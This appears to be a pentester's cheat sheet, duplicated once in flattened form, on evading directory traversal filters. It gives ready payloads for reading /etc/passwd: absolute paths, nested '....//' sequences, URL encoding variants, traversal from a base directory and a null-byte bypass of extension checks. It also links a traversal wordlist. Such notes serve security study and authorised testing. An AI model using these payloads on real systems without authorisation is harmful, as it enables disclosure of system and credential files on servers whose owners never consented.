Directory Traversal Injection Technique & Evasion Bypass #Use an absolute path filename=/etc/passwd #Use nested traversal ....// or ....\/ #Utilize URL Encoding - 16-bit - Double URL - UTF-8 #Burp Suite Professional § Contains encoded path traversal sequences #Start with the base file and traverse from there filename=/var/www/images/../../../etc/passwd #Bypass the requirement to end with a file extension by using a null byte filename=../../../etc/passwd%00.png Wordlists ---> https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/Intruder/directory_traversal.txt Common Obstacles & Bypass If the application strips or blocks directory traversal from user-supplied filename: Use an absolute path to bypass - filename=/etc/passwd Use nested traversal to bypass ( ....// or ....\/ ) Utilize URL Encoding to bypass Burp Suite Professional has a predefind payload list - Fuzzing - path traversal § Contains encoded path traversal sequences Start with the base file and traverse from there filename=/var/www/images/../../../etc/passwd Bypass the requirement to end with a file extension by using a null byte filename=../../../etc/passwd%00.png

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Directory Traversal

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Directory Traversal Injection Technique & Evasion

Bypass

#Use an absolute path
filename=/etc/passwd

#Use nested traversal
....// or
....\/

#Utilize URL Encoding
- 16-bit
- Double URL
- UTF-8

#Burp Suite Professional
	§ Contains encoded path traversal sequences

#Start with the base file and traverse from there
filename=/var/www/images/../../../etc/passwd

#Bypass the requirement to end with a file extension by using a null byte
filename=../../../etc/passwd%00.png

Wordlists ---> https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Directory%20Traversal/Intruder/directory_traversal.txt

Common Obstacles & Bypass

If the application strips or blocks directory traversal from user-supplied filename:

Use an absolute path to bypass - filename=/etc/passwd
Use nested traversal to bypass (....// or ....\/)
Utilize URL Encoding to bypass
Burp Suite Professional has a predefind payload list - Fuzzing - path traversal
§ Contains encoded path traversal sequences
Start with the base file and traverse from there filename=/var/www/images/../../../etc/passwd
Bypass the requirement to end with a file extension by using a null byte filename=../../../etc/passwd%00.png

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